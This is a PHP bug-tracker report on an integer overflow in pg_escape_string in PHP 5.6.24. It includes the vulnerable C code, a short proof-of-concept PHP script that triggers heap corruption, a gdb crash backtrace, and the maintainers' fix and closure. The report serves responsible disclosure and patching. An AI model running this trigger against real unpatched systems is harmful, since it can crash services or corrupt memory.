Sec Bug->Bug #72874 [Csd]: integer overflow in pg_escape_string caused heap corruption

Edit report at https://bugs.php.net/bug.php?id=72874&edit=1 ID: 72874 Updated by: stas@php.net Reported by: minhrau dot vc dot 365 at gmail dot com Summary: integer overflow in pg_escape_string caused heap corruption Status: Closed -Type: Security +Type: Bug Package: PostgreSQL related Operating System: ALL PHP Version: 5.6.24 Assigned To: stas Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2016-09-13 04:13:56] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. ------------------------------------------------------------------------ [2016-09-05 05:30:51] minhrau dot vc dot 365 at gmail dot com Patch looks good. ------------------------------------------------------------------------ [2016-09-02 06:22:59] stas@php.net The fix is in security repo as 0f1eb74e92191e817b4198ceda4e8f093699da62 and in https://gist.github.com/39b697c75a0502e091a1191f83029034 please verify ------------------------------------------------------------------------ [2016-08-18 03:57:00] minhrau dot vc dot 365 at gmail dot com change package ------------------------------------------------------------------------ [2016-08-18 03:53:01] minhrau dot vc dot 365 at gmail dot com Description: ------------ There is integer overflow in pg_escape_string function, check comment below: PHP_FUNCTION(pg_escape_string) { ... switch (ZEND_NUM_ARGS()) { case 1: if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &from, &from_len) == FAILURE) { return; } pgsql_link = NULL; id = PGG(default_link); break; default: if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs", &pgsql_link, &from, &from_len) == FAILURE) { return; } break; } to = (char *) safe_emalloc(from_len, 2, 1); // negative size pass to safe_emalloc function ... Test script: --------------- <?php ini_set('memory_limit', -1); $str = str_repeat('A', 0xffffffff/2-1).'\\'; var_dump(strlen($str)); $str1 = pg_escape_string($str); var_dump(strlen($str1)); unset($str); chunk_split($str1, 11, $str1); ?> Expected result: ---------------- No Crash Actual result: -------------- Starting program: /home/minhrau/PHP-5.6.24/sapi/cli/php testpg_escape_string_negative.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". int(2147483647) int(-2147483648) Program received signal SIGSEGV, Segmentation fault. 0x00007ffff10a2f78 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6 (gdb) bt #0 0x00007ffff10a2f78 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6 #1 0x00000000007f531a in zif_chunk_split (ht=3, return_value=0x7ffff7f9ef80, return_value_ptr=0x7ffff7f6b0e8, this_ptr=0x0, return_value_used=0) at /home/minhrau/PHP-5.6.24/ext/standard/string.c:2221 #2 0x00000000009652bf in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:558 #3 0x000000000096ceef in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:2602 #4 0x00000000009637b2 in execute_ex (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:363 #5 0x000000000096419e in zend_execute (op_array=0x7ffff7f9f890) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:388 #6 0x000000000091f70e in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/minhrau/PHP-5.6.24/Zend/zend.c:1341 #7 0x0000000000890619 in php_execute_script (primary_file=0x7fffffffe2a0) at /home/minhrau/PHP-5.6.24/main/main.c:2613 #8 0x0000000000a42420 in do_cli (argc=2, argv=0x11f8960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:994 #9 0x0000000000a4346e in main (argc=2, argv=0x11f8960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:1378 (gdb) ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72874&edit=1